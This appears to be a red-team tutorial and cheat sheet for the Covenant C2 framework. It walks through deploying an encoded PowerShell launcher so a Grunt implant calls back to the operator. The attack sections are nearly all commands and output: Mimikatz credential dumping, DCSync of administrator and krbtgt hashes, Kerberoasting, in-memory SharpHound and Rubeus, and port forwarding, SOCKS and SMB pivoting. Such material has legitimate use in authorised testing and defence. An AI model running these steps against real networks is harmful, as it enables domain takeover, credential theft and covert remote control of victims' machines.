**TABLE OF CONTENTS**

COVENANT C2 — Grunt, Task Library, Mimikatz, DCSync & SMB Bridge

01.	COVENANT OVERVIEW & GRUNT SETUP
02.	GRUNT TASK LIBRARY — MIMIKATZ, DCSYNC, KERBEROAST
03.	COVENANT CHEAT SHEET

01 — COVENANT SETUP

Docker + Grunt Launcher

Covenant is a .NET C2 framework with Grunt implants, a rich task library (Mimikatz, DCSync, WMI lateral movement), malleable listener profiles, SMB Bridge peer-to-peer, and collaborative web UI — all without agent installation on the operator host.

```
Covenant – Start & Grunt Callback

# Start Covenant via Docker
(kali)-[~]
kali $ docker run -it -p 7443:7443 -p 80:80 -p 443:443 --name covenant covenant
warn: Microsoft.AspNetCore.DataProtection.KeyManagement.XmlKeyManager[35]
      No XML encryptor configured.
info: Microsoft.Hosting.Lifetime[0]
      Now listening on: https://0.0.0.0:7443
info: Microsoft.Hosting.Lifetime[0]
      Application started. Press Ctrl+C to shut down.

# Access at https://127.0.0.1:7443 → create admin account
# Create HTTP listener, generate PowerShell launcher

# Deploy launcher on target – Grunt connects back
(kali)-[~]
kali $ powershell -sta -nop -w 1 -enc BASE64_GRUNT_LAUNCHER
[*] Grunt: 8a2b3c4d | WIN-TARGET | DOMAIN\jdoe | PID:5432
```

Figure: Covenant running in Docker, Grunt connects back from target

02 — GRUNT TASKS

Mimikatz, DCSync & SharpHound

```
Covenant Grunt - Mimikatz, DCSync & Kerberoast

# Grunt interactive terminal - built-in task library
(kali)-[~]
kali $ Mimikatz sekurlsa::logonpasswords
mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 999
UserName          : DOMAIN\jdoe
Password          : P@ssw0rd2024!

(kali)-[~]
kali $ DCSync Administrator
[*] Performing DCSync attack on Administrator
DOMAIN\Administrator:500:aad3b435b51404ee:8846f7eae8fb117ad06bdd830b7586c:::

(kali)-[~]
kali $ Kerberoast
[*] Kerberoasting...
ServicePrincipalName : MSSQLSvc/db01.domain.local:1433
SamAccountName       : svc_sql
Hash                  : $krb5tgs$23$*svc_sql$...

(kali)-[~]
kali $ Assembly /opt/SharpHound.exe -c All --zipfilename bh.zip
[*] Running SharpHound in memory
2024-01-15T09:30:00.0000000|INFORMATION|Initializing SharpHound at 9:30
2024-01-15T09:31:02.0000000|INFORMATION|Compressing data to bh.zip
```

Figure: Grunt runs Mimikatz in-memory, DCSync dumps admin hash, SharpHound collects AD data

03 — COVENANT CHEAT SHEET

Quick Reference

Start Docker	<code>docker run -it -p 7443:7443 -p 80:80 -p 443:443 --name covenant covenant</code>
Access UI	<code>https://127.0.0.1:7443</code>
HTTP listener	Listeners → Create → HTTP → host/port
HTTPS listener	Listeners → Create → HTTPS
PS launcher	Launchers → PowerShell → Generate → copy one-liner
Deploy PS launcher	<code>powershell -sta -nop -w 1 -enc BASE64</code>
Activate Grunt	Grunts → Pending → click Interact
Whoami	<code>WhoAmI / GetUID</code>
Process list	<code>Ps</code>
Download	<code>Download C:\path\file</code>
Upload	<code>Upload /local/file C:\remote\path</code>
Mimikatz	<code>Mimikatz sekurlsa::logonpasswords</code>
DCSync	<code>Mimikatz lsadump::dcsync /user:krbtgt</code>
Kerberoast	<code>Kerberoast</code>
.NET assembly	<code>Assembly /opt/Rubeus.exe kerberoast</code>
Load PS script	<code>PowerShellImport /opt/PowerView.ps1</code>
PS task	<code>PowerShell Get-NetUser</code>
Port forward	<code>PortForward 13389 INTERNAL_HOST 3389</code>
SOCKS	<code>Socks 1080</code>
SMB link	<code>Connect INTERNAL_HOST PipeName</code>
